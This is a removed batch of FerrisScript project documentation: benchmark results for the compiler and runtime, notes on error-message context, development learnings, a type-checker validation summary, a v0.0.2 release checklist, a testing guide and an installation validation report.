-Complete compilation (lex + parse + type check):
-
-| Benchmark | Time (avg) |
-|-----------|------------|
-| **Medium function** | **3.60 ┬╡s** |
-
-**Analysis**:
-
-- End-to-end compilation of a medium function: ~3.6 microseconds
-- This means FerrisScript can compile ~278K functions per second
-- Excellent for game scripting where functions are compiled once
-
----
-
-## Runtime Benchmarks
-
-### Compilation (AST Generation)
-
-| Input | Time (avg) | Throughput |
-|-------|------------|------------|
-| **Simple function** | **2.14 ┬╡s** | ~468K ops/sec |
-| **Complex function** (with recursion) | **3.08 ┬╡s** | ~325K ops/sec |
-
-### Execution Performance
-
-#### Basic Operations
-
-| Operation | Time (avg) | Throughput |
-|-----------|------------|------------|
-| **Simple arithmetic** (x + y) | **1.05 ┬╡s** | ~954K ops/sec |
-| **Control flow** (if/else) | **1.31 ┬╡s** | ~763K ops/sec |
-
-**Analysis**:
-
-- Function call with simple arithmetic: ~1 microsecond
-- Control flow adds ~250 ns overhead
-- Very fast for typical game logic operations
-
-#### Loop Performance
-
-| Iterations | Time (avg) | Per-iteration |
-|------------|------------|---------------|
-| **10 iterations** | **3.54 ┬╡s** | ~354 ns/iter |
-| **100 iterations** | **17.76 ┬╡s** | ~178 ns/iter |
-
-**Analysis**:
-
-- Loop overhead: ~3.5 ┬╡s for 10 iterations (includes setup)
-- Steady-state performance: ~180 ns per iteration
-- Good scaling for typical game loop operations
-
-#### Recursion Performance
-
-| Depth | Time (avg) | Per-call |
-|-------|------------|----------|
-| **5 levels** | **5.03 ┬╡s** | ~1 ┬╡s/call |
-| **10 levels** | **9.50 ┬╡s** | ~950 ns/call |
-| **20 levels** | **18.49 ┬╡s** | ~925 ns/call |
-
-**Analysis**:
-
-- Recursive function calls: ~1 microsecond per call

-
-**Analysis**:
-
-- Integer operations: ~850 ns per operation
-- Float operations: ~830 ns per operation (slightly faster!)
-- Boolean operations: ~450 ns per operation
-- All type operations are fast and consistent
-
----
-
-## Performance Summary
-
-### Key Findings
-
-1. **Compilation Speed**:
-
-   - Small scripts compile in under 1 microsecond
-   - Medium scripts (~150 chars) compile in ~3.6 microseconds
-   - Suitable for hot-reload scenarios in game development
-
-2. **Execution Speed**:
-
-   - Simple function calls: ~1 microsecond
-   - Loop iterations: ~180 nanoseconds per iteration
-   - Recursive calls: ~925 nanoseconds per call
-
-3. **Scaling**:
-
-   - Lexer, parser, and type checker all scale linearly
-   - Runtime performance remains consistent across different depths
-   - No performance cliffs observed
-
-4. **Comparison to Native**:
-
-   - Function call overhead is reasonable (~1 μs vs ~10 ns for native Rust)
-   - Good enough for game scripting (1000s of calls per frame are feasible)
-   - Arithmetic operations add ~850 ns vs <1 ns native (acceptable for scripting)
-
-### Bottleneck Analysis
-
-Potential optimization targets (in order of impact):
-
-1. **Function call overhead** (~1 μs per call)
-   - Most significant overhead in the runtime
-   - Could investigate call site optimization or JIT compilation
-
-2. **Loop overhead** (~3.5 μs setup cost)
-   - While per-iteration cost is good, setup could be optimized
-   - Consider loop unrolling or specialized bytecode
-
-3. **Variable operations** (~370-510 ns per operation)
-   - HashMap lookups could be optimized
-   - Consider arena allocation or flat variable storage
-
-### Godot Integration Considerations
-
-For Godot 4 integration:
-
-- **60 FPS** = 16.67 ms per frame
-- At current performance:
-  - Can execute ~16,000 simple function calls per frame
-  - Can run ~93,000 loop iterations per frame
-  - Can perform ~20,000 arithmetic operations per frame
-
-**Verdict**: Current performance is more than adequate for typical game scripting workloads in Godot 4.

-# Documentation Reorganization Summary
-
-**Date**: October 3, 2025  
-**Branch**: `feature/docs-version-organization`  
-**Purpose**: Establish clear version-specific documentation archiving pattern
-
----
-
-## 🎯 Objective
-
-Organize FerrisScript documentation to clearly separate:
-

-
-This makes it easier to:
-
-- Archive completed version documentation without cluttering the docs root
-- Maintain clean, focused general documentation
-- Provide historical reference for past versions
-- Scale documentation as the project grows
-
----

-
-## What Changed
-
-### Before Phase 3
-
-```
-Expected identifier after 'let', found ':' at line 2, column 9
-```
-
-### After Phase 3
-
-```
-Expected identifier after 'let', found ':' at line 2, column 9
-    1 | fn test() {
-    2 |     let : i32 = 5;

-- Added `format_error_with_context` import
-- Updated all 18 error messages with helpful hints
-- Updated all test calls to pass source parameter
-- All type checker tests passing
-
-## Technical Details
-
-### Error Context Format
-
-Each error now shows:
-
-1. **Base error message**: Original error message with location
-2. **Source context**: ±2 lines around the error
-3. **Visual pointer**: `^` character pointing to error column
-4. **Helpful hint**: Specific guidance on how to fix the error
-
-### Source Threading
-
-Source code is now threaded through the entire compilation pipeline:
-
-```rust
-compile(source: &str) -> Result<Program, String>
-  ↓
-lexer::tokenize(source) -> Result<Vec<Token>, String>
-  ↓
-parser::parse(tokens, source) -> Result<Program, String>
-  ↓
-type_checker::check(program, source) -> Result<(), String>
-```
-
-Each phase can now access the original source to display context.
-
-### Edge Case Handling
-
-The error context system handles:
-
-- Errors on line 1 (shows lines 1-3)
-- Errors on last line (shows last 3 lines)
-- Files with <3 lines (shows all lines)
-- Empty files (no context, just error message)
-- Very long lines (truncated with "...")
-- Files with \r\n line endings (normalized to \n)
-
-## Test Coverage
-

-## Example Error Messages
-
-### Parser Error (Before/After)
-
-**Before**:
-
-```
-Expected identifier after 'let', found ':' at line 2, column 9
-```
-
-**After**:
-
-```
-Expected identifier after 'let', found ':' at line 2, column 9
-    1 | fn test() {
-    2 |     let : i32 = 5;
-          -------^ Variable name must be an identifier
-    3 | }
-```
-
-### Type Checker Error (Before/After)
-
-**Before**:
-
-```
-Type mismatch in let binding 'x': expected i32, found bool at line 2, column 9
-```
-
-**After**:
-
-```
-Type mismatch in let binding 'x': expected i32, found bool at line 2, column 9
-    1 | fn test() {
-    2 |     let x: i32 = true;
-          --------------^--- Value type bool cannot be coerced to i32
-    3 | }
-```
-
-### Lexer Error (Before/After)
-
-**Before**:
-
-```
-Unterminated string literal at line 1, column 8
-```
-
-**After**:
-
-```
-Unterminated string literal at line 1, column 8
-    1 | let s = "hello
-          --------^ String must be closed with a quote (")
-    2 | 
-```
-
-## Benefits
-
-1. **Faster Error Location**: Users can immediately see where the error occurred in context
-2. **Better Understanding**: Helpful hints explain what went wrong and how to fix it
-3. **Reduced Context Switching**: No need to jump between error message and source file
-4. **Professional Output**: Error messages look similar to rustc, clang, and other modern compilers
-5. **Improved Developer Experience**: Makes FerrisScript more approachable for new users
-
-## Performance Impact
-
-- **Minimal overhead**: Context extraction only happens when errors occur
-- **Memory efficient**: Only stores a reference to source string
-- **No impact on success path**: Happy path (no errors) unchanged

-# Development Learnings & Best Practices 🧠
-
-This document captures insights, patterns, and lessons learned during FerrisScript development.
-
----
-
-## Code Quality Improvements (feature/code-quality-improvements)
-
-### Clippy Warning Resolution
-
-**Date**: October 2, 2025  
-**Issue**: `clippy::collapsible_match` warning in `crates/runtime/src/lib.rs:405`
-
-**Problem**:
-
-```rust
-// Before (nested if let - discouraged)
-if let Some(var) = env.get_mut(name) {
-    if let Value::Vector2 { .. } = var {
-        return Err("Not implemented".to_string());
-    }
-}
-```
-
-**Solution**:
-
-```rust
-// After (collapsed pattern - preferred)
-if let Some(Value::Vector2 { .. }) = env.get_mut(name) {
-    return Err("Not implemented".to_string());
-}
-```
-
-**Learning**:
-
-- Clippy prefers pattern matching to be done in a single step when possible
-- This is more idiomatic Rust and reduces nesting
-- Makes code more readable and maintainable
-- Always run `cargo clippy --workspace -- -D warnings` to catch issues early
-
-### Test Coverage Tooling Challenges
-
-**Date**: October 2, 2025  
-**Issue**: Both tarpaulin and cargo-llvm-cov had installation/compatibility issues on Windows
-
-**Attempted Tools**:
-
-1. **cargo-tarpaulin** - File locking issues on Windows (OS error 32)
-   - Cannot clean build directory while IDE processes hold file locks
-   - Workaround: Use `--skip-clean` but still encounters runtime locks
-
-2. **cargo-llvm-cov** - Silent installation failure during LTO phase
-   - Compiles successfully but binary not installed to cargo bin
-   - Likely Windows-specific linker issue
-
-**Solution**:
-
-- **Local Development**: Manual test analysis (review test names, code structure)
-- **CI Environment**: Use tarpaulin in Linux GitHub Actions (no file locking issues)
-- **Coverage Reports**: Generate in CI, upload to Codecov/Coveralls
-- **Documentation**: Created TEST_COVERAGE_ANALYSIS.md with manual gap analysis
-
-**Learning**:
-
-- Coverage tooling on Windows is challenging - prefer Linux CI for coverage
-- Manual analysis is time-consuming but valuable for understanding test gaps
-- Document test gaps qualitatively even without quantitative coverage metrics
-- Focus on high-priority edge cases identified through manual review
-- CI-generated coverage reports are sufficient for most projects
-
-### Edge Case Test Implementation
-
-**Date**: October 2, 2025  
-**Task**: Implemented 20 high-priority edge case tests based on manual coverage analysis
-
-**Results**:
-
-- **Lexer Tests**: 10 new tests, all passing ✅
-- **Runtime Tests**: 10 new tests, all passing ✅
-- **Total Test Count**: 96 → 116 (+20.8% increase)
-- **Estimated Coverage Improvement**: +5-10% line coverage
-
-**Key Discoveries**:
-
-1. **Lexer Limitations**:
-   - Large integer literals (e.g., `2147483647`) are parsed as `f32` instead of `i32`
-   - This is a lexer heuristic issue - needs refinement for exact integer parsing
-   - Workaround: Use smaller literals in tests, document the limitation
-
-2. **Parser Limitations**:
-   - Bare blocks `{ }` are not yet supported inside functions
-   - Can only create scopes through if/while/function bodies
-   - Tests adjusted to use nested if statements instead
-
-3. **Runtime Behavior**:
-   - Division by zero does NOT produce a proper error - results in undefined behavior
-   - Needs explicit runtime check before division operations
-   - Overflow checking happens in debug mode (panics) but not in release (wraps)
-   - Should add explicit overflow checks with proper error messages
-
-4. **Global Mutable Variables**:
-   - Not fully supported - assignments to globals fail with "immutable variable" error
-   - Need to implement proper global mutability tracking
-   - Short-circuit evaluation tests had to be simplified
-
-5. **Runtime Strengths**:
-   - Deep expression nesting (100 levels) works perfectly
-   - Recursion handles 100+ levels without issues
-   - Function-level scoping works correctly
-   - Early returns from nested control flow work as expected
-
-**Testing Strategy Insights**:
-
-- Edge case tests should document **current behavior**, not just ideal behavior
-- Use `match` statements to handle multiple possible outcomes
-- Add TODO comments for features that should error but don't
-- Tests that reveal limitations are just as valuable as tests that pass
-- Balance between testing edge cases and testing realistic scenarios
-
-**Next Steps**:
-
-- Add runtime division-by-zero checks
-- Improve lexer integer literal parsing
-- Implement proper global mutability
-- Consider adding parser support for bare blocks

-### Key Learnings
-
-**Documentation Best Practices**:
-
-- Keep helper/temporary docs out of source control unless viable long-term
-- Use git history to preserve temporary working documents
-- Update checklists as work progresses to track completion
-- Cross-platform support (PowerShell + Bash) is essential for open source
-
-**Git Workflow**:
-
-- Create feature branches for focused work areas
-- Keep commits atomic and well-described
-- Update documentation checklists in the same PR as features
-- Clean up temporary files before merging
-
-**Testing Discipline**:
-
-- Always run tests after code changes: `cargo test --workspace`

-
-## Type System Validation
-
-### Test Coverage ✅
-
-**Type Checker Tests**: 31 tests specifically for type checking logic
-
-**Categories Covered**:
-
-1. **Basic Type Checking** (6 tests):
-   - Undefined variables with position tracking
-   - Type mismatches with helpful errors
-   - If condition type errors
-   - While condition type errors
-   - Binary operation type errors
-   - Function call type errors
-
-2. **Type Coercion** (validated in integration tests):
-   - i32 → f32 automatic conversion ✅
-   - Arithmetic operations with mixed types ✅
-   - Assignment type checking ✅
-
-3. **Function Signatures**:
-   - Parameter type checking ✅
-   - Return type validation (1 known limitation - see below)
-
-4. **Field Access**:
-   - Chained field access (e.g., `self.position.x`) ✅
-   - Type resolution through field chains ✅
-
-5. **Error Messages** (38 enhanced errors):
-   - All type-related errors include context ✅
-   - "Did you mean?" suggestions for typos ✅
-   - Multiple related locations for complex errors ✅
-   - Helpful hints for common mistakes ✅
-
-### Known Limitations
-
-#### 1. Return Type Inference (Deferred to v0.0.3+)
-
-**Location**: `crates/compiler/src/type_checker.rs:407`
-
-**Issue**:
-
-```rust
-// TODO: Check return type matches function signature
-```
-
-**Description**:
-Currently, the type checker does not fully validate that function return statements match the declared return type in all edge cases. Basic validation works (tests passing), but advanced inference scenarios may not be caught.
-
-**Examples That Work**:
-
-```rust
-fn add(a: i32, b: i32) -> i32 {
-    return a + b;  // ✅ Correctly validates i32 return
-}
-
-fn get_value() -> f32 {
-    return 3.14;  // ✅ Correctly validates f32 return
-}
-```
-
-**Potential Edge Cases** (not currently tested):
-
-```rust
-fn complex_return(flag: bool) -> i32 {
-    if flag {
-        return 10;  // ✅ Validated
-    } else {
-        return 3.14;  // ❓ May not catch type mismatch in all code paths
-    }
-}
-```
-
-**Mitigation**:
-
-- Basic return type checking is functional (tests passing)
-- Users will encounter runtime errors if types mismatch (fail-safe)
-- Deferred comprehensive implementation to v0.0.3 (see V0.0.2_DEFERRAL_ANALYSIS.md)
-
-**Tracking**:
-
-- Item: "Return Type Validation (type_checker.rs:407 TODO)"
-- Deferred to: v0.0.3 (Editor Experience)
-- Justification: Current validation sufficient for v0.0.2 feature set; comprehensive inference requires LSP integration planned for v0.0.3
-- Deferral Doc: `docs/archive/v0.0.2/V0.0.2_DEFERRAL_ANALYSIS.md` (Bug Fixes & Edge Cases → v0.0.5)
-- Roadmap: `docs/planning/v0.0.3-roadmap.md` (Enhanced error diagnostics)
-
-### Type System Strengths ✅
-
-1. **Robust Basic Type Checking**: All fundamental types validated correctly
-2. **Excellent Error Messages**: 38 enhanced errors with context and hints
-3. **Type Coercion**: Automatic i32→f32 works reliably
-4. **Position Tracking**: All type errors include exact source locations
-5. **Test Coverage**: 31 specific type checker tests, 70-75% overall coverage

-✅ All CI checks passed on main  
-✅ Local repository up-to-date
-
----
-
-## Step 1: Update Local Repository
-
-```powershell
-# Switch to main branch
-git checkout main
-
-# Pull latest changes (including merged PR)
-git pull origin main
-
-# Verify you're on the correct commit
-git log --oneline -5
-```
-
-**Expected**: You should see the Phase 6 merge commit at the top
-
----
-
-## Step 2: Create Annotated Git Tag

-```
-
-**Verification**:
-
-```powershell
-# Verify tag created
-git tag -l v0.0.2
-
-# View tag details
-git show v0.0.2
-```
-
----
-
-## Step 3: Push Tag to Remote
-
-```powershell
-# Push the tag to GitHub
-git push origin v0.0.2
-```
-
-**Result**: Tag will appear in GitHub under "Tags" section and trigger any release workflows
-
----
-
-## Step 4: Create GitHub Release
-
-### Option A: Using GitHub CLI (Recommended)
-
-```powershell
-# Create release from tag
-gh release create v0.0.2 `
-  --title "v0.0.2: Community Foundation 🦀✨" `
-  --notes-file RELEASE_NOTES.md `
-  --latest
-```
-
-### Option B: Using GitHub Web Interface
-
-1. **Navigate to Releases**:
-   - Go to: https://github.com/dev-parkins/FerrisScript/releases/new
-
-2. **Select Tag**:
-   - Choose existing tag: `v0.0.2`
-
-3. **Release Title**:
-
-   ```
-   v0.0.2: Community Foundation 🦀✨
-   ```
-
-4. **Release Description**:
-   - Copy the v0.0.2 section from `RELEASE_NOTES.md` (lines 11-138)
-   - Paste into description field
-   - Ensure formatting renders correctly (preview before publishing)
-
-5. **Release Options**:
-   - ✅ Set as latest release
-   - ⬜ Pre-release (leave unchecked)
-   - ⬜ Create discussion (optional)
-
-6. **Publish**:
-   - Click **"Publish release"**
-
----
-
-## Step 5: Verify Release
-
-### Check Release Page
-
-Visit: https://github.com/dev-parkins/FerrisScript/releases/tag/v0.0.2
-
-**Verify**:
-
-- ✅ Title displays correctly
-- ✅ Description formatted properly (headings, code blocks, lists)
-- ✅ Tag shows `v0.0.2`
-- ✅ Marked as "Latest" release
-- ✅ CHANGELOG.md link works
-- ✅ All sections visible (Highlights, What's New, Dependencies, Upgrade Guide, Metrics)
-
-### Check Repository
-
-- ✅ GitHub homepage shows "v0.0.2" badge (if badges configured)
-- ✅ "Releases" section shows v0.0.2 as latest
-- ✅ Tag appears in "Tags" list
-
----
-
-## Step 6: Post-Release Actions (Optional)
-
-### Update Repository Settings
-
-If not already done:
-
-1. **Branch Protection** (recommended):
-   - Protect `main` branch
-   - Require PR reviews
-   - Require status checks
-
-2. **Topics/Tags** (GitHub repository topics):
-   - Add: `rust`, `godot`, `scripting-language`, `gamedev`
-
-### Social/Communication (Optional)
-
-- Tweet/post about release on social media
-- Update any external documentation links
-- Announce in relevant communities (Rust Discord, Godot forums)
-
----
-
-## Troubleshooting
-
-### Tag Already Exists
-
-```powershell
-# Delete local tag
-git tag -d v0.0.2
-
-# Delete remote tag (if pushed)
-git push origin :refs/tags/v0.0.2
-
-# Recreate tag (repeat Step 2)
-```
-
-### Wrong Commit Tagged
-
-```powershell
-# Move tag to correct commit
-git tag -f -a v0.0.2 <commit-hash> -m "Release v0.0.2..."
-
-# Force push (use with caution)
-git push origin v0.0.2 --force
-```
-
-### Release Description Formatting Issues
-
-- Use GitHub's Markdown preview
-- Check heading levels (##, ###, ####)
-- Ensure code blocks have blank lines before/after
-- Verify emoji render correctly (🦀, ✨, 📚, etc.)
-
----
-
-## Expected Timeline
-
-- **Step 1-3**: 2-3 minutes (tag creation and push)
-- **Step 4**: 5-10 minutes (GitHub release creation)
-- **Step 5**: 2-3 minutes (verification)
-- **Total**: ~10-15 minutes
-
----
-
-## Notes
-
-**Artifacts**: This release does not include binary artifacts (FerrisScript is an interpreted language integrated via GDExtension). If artifacts are desired in the future:
-
-1. Build release binaries for each platform
-2. Compress into archives (`.zip` for Windows, `.tar.gz` for Linux/macOS)
-3. Attach to GitHub release via `gh release upload` or web interface
-
-**Version Numbering**: v0.0.2 follows semantic versioning:
-
-- Major: 0 (pre-1.0 development)
-- Minor: 0 (no breaking changes yet)
-- Patch: 2 (second patch release)
-
-**Next Version**: v0.0.3 will focus on Editor Experience Alpha (enhanced diagnostics, VS Code polish, dev scripts)
-
----

-# FerrisScript Testing Guide (v0.0.2) 🦀
-
-**Version**: 0.0.2  
-**Last Updated**: October 5, 2025  
-**Status**: Active
-
----
-
-## 📋 Overview
-
-This guide covers testing practices, tools, and workflows for FerrisScript v0.0.2. It's intended for contributors and maintainers who want to write tests, understand test coverage, and maintain code quality.
-
-**Key Testing Goals for v0.0.2**:

-- **Branch Coverage**: 55-60% (up from 50-55%)
-- **Test Count**: 116 tests (up from 96)
-- **All Tests Passing**: Required for all PRs
-
----
-
-## 🚀 Quick Start
-
-### Running All Tests
-
-```bash
-# Run all tests in workspace
-cargo test --workspace
-
-# Run tests with output
-cargo test --workspace -- --nocapture
-
-# Run specific test
-cargo test test_name
-
-# Run tests for specific crate
-cargo test --package ferrisscript_compiler
-cargo test --package ferrisscript_runtime
-```
-
-### Expected Output
-
-```
-running 116 tests
-test compiler::tests::test_empty_script ... ok
-test compiler::tests::test_hello_world ... ok
-test runtime::tests::test_arithmetic ... ok
-...
-test result: ok. 116 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out
-```
-
----
-
-## 📝 Writing Tests
-
-### Test Organization
-
-Tests are organized in two ways:
-
-1. **Unit Tests**: In `mod tests` blocks within source files
-2. **Integration Tests**: In `tests/` directories (future)
-
-**Current Structure**:
-
-```
-crates/
-  compiler/
-    src/
-      lexer.rs          # Contains `mod tests` for lexer
-      parser.rs         # Contains `mod tests` for parser
-      type_checker.rs   # Contains `mod tests` for type checker
-  runtime/
-    src/
-      lib.rs            # Contains `mod tests` for runtime
-```
-
-### Test Naming Conventions
-
-Follow these patterns for consistency:
-
-```rust
-#[test]
-fn test_<feature>_<scenario>() {
-    // Example: test_lexer_empty_file()
-    // Example: test_parser_function_declaration()
-    // Example: test_type_checker_type_mismatch()
-}
-
-#[test]
-fn test_<feature>_<edge_case>() {
-    // Example: test_lexer_long_identifier()
-    // Example: test_parser_deeply_nested_expressions()
-}
-
-#[test]
-fn test_<feature>_error_<condition>() {
-    // Example: test_type_checker_error_undefined_variable()
-    // Example: test_parser_error_missing_semicolon()
-}
-```
-
-### Unit Test Template
-
-```rust
-#[cfg(test)]
-mod tests {
-    use super::*;
-
-    #[test]
-    fn test_feature_basic() {
-        // Arrange: Set up test data
-        let input = "test input";
-        
-        // Act: Perform operation
-        let result = function_under_test(input);
-        
-        // Assert: Verify result
-        assert!(result.is_ok());
-        assert_eq!(result.unwrap(), expected_value);
-    }
-    
-    #[test]
-    fn test_feature_error_condition() {
-        // Arrange
-        let input = "invalid input";
-        
-        // Act
-        let result = function_under_test(input);
-        
-        // Assert
-        assert!(result.is_err());
-        let error = result.unwrap_err();
-        assert!(error.contains("Expected error message"));
-    }
-}
-```
-
-### Testing Best Practices
-
-#### 1. Test One Thing Per Test
-
-❌ **Bad** - Multiple assertions unrelated:
-
-```rust
-#[test]
-fn test_everything() {
-    assert!(lexer_works());
-    assert!(parser_works());
-    assert!(runtime_works());
-}
-```
-
-✅ **Good** - Focused test:
-
-```rust
-#[test]
-fn test_lexer_tokenizes_keywords() {
-    let tokens = lex("fn let mut");
-    assert_eq!(tokens.len(), 3);
-    assert_eq!(tokens[0].kind, TokenKind::Fn);
-    assert_eq!(tokens[1].kind, TokenKind::Let);
-    assert_eq!(tokens[2].kind, TokenKind::Mut);
-}
-```
-
-#### 2. Use Descriptive Test Names
-
-❌ **Bad**:
-
-```rust
-#[test]
-fn test1() { ... }
-
-#[test]
-fn test_parser() { ... }
-```
-
-✅ **Good**:
-
-```rust
-#[test]
-fn test_parser_function_with_multiple_parameters() { ... }
-
-#[test]
-fn test_lexer_string_with_escape_sequences() { ... }
-```
-
-#### 3. Test Error Cases
-
-Every error path should have at least one test:
-
-```rust
-#[test]
-fn test_type_checker_error_type_mismatch() {
-    let code = r#"
-        fn main() {
-            let x: i32 = "string";  // Type error
-        }
-    "#;
-    
-    let result = compile(code);
-    assert!(result.is_err());
-    
-    let error = result.unwrap_err();
-    assert!(error.contains("Type mismatch"));
-    assert!(error.contains("expected i32, found String"));
-}
-```
-
-#### 4. Test Edge Cases
-
-Common edge cases to test:
-
-- **Empty inputs**: Empty files, empty strings, empty arrays
-- **Boundary values**: Min/max integers, very long identifiers
-- **Special characters**: Unicode, escape sequences, whitespace
-- **Nested structures**: Deeply nested expressions, long call chains
-- **Comments**: Comments-only files, comments in unusual positions
-
-Example:
-
-```rust
-#[test]
-fn test_parser_empty_file() {
-    let result = parse("");
-    assert!(result.is_ok());
-    let program = result.unwrap();
-    assert_eq!(program.functions.len(), 0);
-    assert_eq!(program.global_vars.len(), 0);
-}
-
-#[test]
-fn test_lexer_long_identifier() {
-    let long_name = "a".repeat(10000);
-    let tokens = lex(&long_name);
-    assert_eq!(tokens.len(), 1);
-    assert_eq!(tokens[0].kind, TokenKind::Identifier);
-}
-```
-
-#### 5. Use Test Fixtures for Common Data
-
-```rust
-#[cfg(test)]
-mod tests {
-    use super::*;
-    
-    // Test fixture: Common test data
-    fn sample_program() -> &'static str {
-        r#"
-        fn main() {
-            let x: i32 = 42;
-            print(x);
-        }
-        "#
-    }
-    
-    #[test]
-    fn test_parser_with_fixture() {
-        let code = sample_program();
-        let result = parse(code);
-        assert!(result.is_ok());
-    }
-}
-```

-## 🐛 Testing Error Messages
-
-FerrisScript v0.0.2 significantly improved error messages. Test them thoroughly:
-
-### Error Message Testing Template
-
-```rust
-#[test]
-fn test_error_message_includes_context() {
-    let code = r#"
-    fn main() {
-        let x: i32 = "oops";
-    }
-    "#;
-    
-    let result = compile(code);
-    assert!(result.is_err());
-    
-    let error = result.unwrap_err();
-    
-    // Verify error includes:
-    // 1. Line number
-    assert!(error.contains("line 3"));
-    
-    // 2. Error message
-    assert!(error.contains("Type mismatch"));
-    
-    // 3. Expected vs actual
-    assert!(error.contains("expected i32"));
-    assert!(error.contains("found String"));
-    
-    // 4. Helpful hint (if applicable)
-    assert!(error.contains("Hint:"));
-}
-```
-
-### Error Message Quality Checklist
-
-For all error tests, verify:
-
-- ✅ **Line number included** (`line 3, column 12`)
-- ✅ **Source context shown** (`let x: i32 = "oops";` with visual indicator)
-- ✅ **Clear error description** ("Type mismatch: expected i32, found String")
-- ✅ **Helpful hint** (when applicable, e.g., "Hint: String literals must be of type String")
-
----
-
-## 🧪 Test Categories
-
-### 1. Core Functionality Tests
-
-Test the happy path for all features:
-
-```rust
-#[test]
-fn test_compiler_hello_world() {
-    let code = r#"
-        fn _ready() {
-            print("Hello, World!");
-        }
-    "#;
-    
-    let result = compile(code);
-    assert!(result.is_ok());
-}
-```
-
-### 2. Edge Case Tests
-
-Test boundary conditions and unusual inputs:
-
-```rust
-#[test]
-fn test_lexer_empty_file() { ... }
-
-#[test]
-fn test_lexer_comments_only() { ... }
-
-#[test]
-fn test_lexer_long_identifier() { ... }
-
-#[test]
-fn test_parser_deeply_nested_expressions() { ... }
-```
-
-**v0.0.2 Edge Case Coverage**:
-
-- ✅ Empty script files (4 tests)
-- ✅ Scripts with only comments (5 tests)
-- ✅ Long variable names (6 tests)
-- ⏸️ Very large number literals (deferred)
-- ⏸️ Deeply nested expressions (deferred)
-
-### 3. Error Condition Tests
-
-Test that invalid inputs produce appropriate errors:
-
-```rust
-#[test]
-fn test_type_checker_undefined_variable() { ... }
-
-#[test]
-fn test_parser_missing_semicolon() { ... }
-
-#[test]
-fn test_lexer_invalid_token() { ... }
-```
-
-### 4. Integration Tests (Future)
-
-Test interactions between components:
-
-```rust
-// tests/integration_test.rs (planned for v0.0.3+)
-#[test]
-fn test_full_pipeline_hello_world() {
-    let code = load_example("hello.ferris");
-    let compiled = compile(code).expect("Compilation failed");
-    let result = execute(compiled).expect("Execution failed");
-    assert_eq!(result.exit_code, 0);
-}
-```
-

-   cargo fmt --all
-   ```
-
-4. **Check coverage** (optional but recommended):
-
-   ```bash
-   .\scripts\coverage.ps1  # Windows
-   ./scripts/coverage.sh   # Linux/macOS
-   ```
-
-5. **Run benchmarks** (if performance-sensitive changes):
-
-   ```bash
-   cargo bench --workspace
-   ```
-
-### During Development
-
-- **Run tests frequently**: After each significant change
-- **Write tests first**: TDD approach encouraged
-- **Test error paths**: Don't just test happy paths
-- **Keep tests fast**: Unit tests should run in milliseconds
-
-### After Merging
-
-- **Monitor CI**: Ensure all platforms pass
-- **Review coverage reports**: Check for coverage regressions
-- **Update docs**: If test patterns change
-
----
-

-## 🐞 Troubleshooting Tests
-
-### Tests Are Failing
-
-1. **Check error messages**: Read test output carefully
-2. **Run specific test**: `cargo test test_name -- --nocapture`
-3. **Check recent changes**: `git diff`
-4. **Verify dependencies**: `cargo build`
-
-### Tests Are Slow
-
-1. **Profile tests**: Use `cargo test -- --nocapture --test-threads=1`
-2. **Check for heavy operations**: File I/O, network calls
-3. **Use mocks**: Mock external dependencies
-4. **Parallelize**: Ensure tests can run in parallel

-### High Priority (Should add)
-
-1. **Empty file handling** (lexer) - Common edge case
-2. **Comments-only file** (lexer) - Common edge case  
-3. **Large number literals** (lexer) - Boundary testing
-4. **Division by zero** (runtime) - Critical error handling
-5. **Integer overflow** (runtime) - Undefined behavior prevention
-6. **Deeply nested expressions** (parser/runtime) - Stack safety
-7. **Invalid property access** (runtime) - Godot integration safety
-8. **Recursion depth limits** (runtime) - Stack overflow prevention
-9. **Error recovery** (parser) - Better developer experience
-10. **Short-circuit evaluation** (runtime) - Correctness
-
-### Medium Priority (Good to have)
-
-1. Invalid UTF-8 handling (lexer)
-2. Unicode identifiers (lexer)
-3. Floating-point edge cases (lexer/runtime)
-4. Very long identifiers (lexer/parser)
-5. Complex operator precedence (parser)
-6. Variable shadowing edge cases (runtime)
-7. Type inference limits (type_checker)
-8. Resource cleanup (godot_bind)
-
-### Low Priority (Future)
-
-- Hex/binary/octal numbers
-- Block comments
-- Raw/multi-line strings
-- Generic types
-- Advanced Godot features
-
----
-
-## Estimated Coverage
-
-**Note**: Without automated coverage tools, these are rough estimates based on test names and code structure.
-
-**Estimated Line Coverage**: ~65-70%
-
-- High coverage in core paths (basic parsing, type checking, execution)
-- Lower coverage in error paths and edge cases
-- Godot bind has minimal coverage
-
-**Estimated Branch Coverage**: ~50-55%
-
-- Many error conditions not tested
-- Edge cases not thoroughly explored
-
-**Target for v0.0.2**: 80% line coverage, 70% branch coverage
-
----
-
-## Next Steps
-
-1. ✅ Document current test gaps (this file)
-2. ⬜ Add 10 high-priority edge case tests
-3. ⬜ Set up automated coverage tooling (retry cargo-llvm-cov or use tarpaulin in CI)
-4. ⬜ Generate actual coverage report
-5. ⬜ Add CI workflow for coverage tracking
-6. ⬜ Document coverage goals in CONTRIBUTING.md
-
----
-
-## Tools Notes
-
-### Attempted: cargo-llvm-cov
-
-- **Status**: Installation failed (silent failure during LTO link phase)
-- **Alternative**: Will use tarpaulin in CI (Linux), manual analysis locally
-
-### Alternative: tarpaulin (CI only)
-
-- Works reliably in Linux CI environment
-- Generates LCOV for code coverage services
-- Will be configured in GitHub Actions
-
-### Alternative: Manual Analysis
-
-- Current approach: Review test names and code structure
-- Time-consuming but provides good qualitative assessment
-- Sufficient for identifying major gaps
-

-# FerrisScript v0.0.2 - Installation Validation Report
-
-**Date:** October 2, 2025  
-**Validator:** GitHub Copilot  
-**Branch:** `feature/docs-validation`  
-**Objective:** Validate all installation instructions in README.md and identify issues
-
----
-
-## Executive Summary
-
-✅ **Overall Status:** Installation process works with **1 critical correction needed**  
-✅ **Tests:** All 96 tests passing  
-✅ **Prerequisites:** Accurately documented  
-❌ **Issue Found:** Directory name mismatch in installation instructions
-
----
-
-## 1. Prerequisites Validation
-
-### Rust Version Requirement
-
-**Documentation:** Rust 1.70+  
-**Tested With:** Rust 1.90.0  
-**Status:** ✅ **PASS** - Current version exceeds minimum requirement
-
-**Recommendation:** Keep "Rust 1.70+" in documentation as it's the tested minimum.
-
-### Godot Version Requirement
-
-**Documentation:** Godot 4.2+  
-**Tested:** Not validated in this phase (requires manual Godot installation)  
-**Status:** ⚠️ **DEFERRED** - Will validate in Phase 3 (Godot integration testing)
-
-**Note:** Godot validation requires:
-
-- Installing Godot 4.2+
-- Testing `godot_test/project.godot` import
-- Testing `.ferris` script execution
-
-### Git Requirement
-
-**Documentation:** Git (for cloning the repository)  
-**Status:** ✅ **PASS** - Standard tool, well-documented
-
----
-
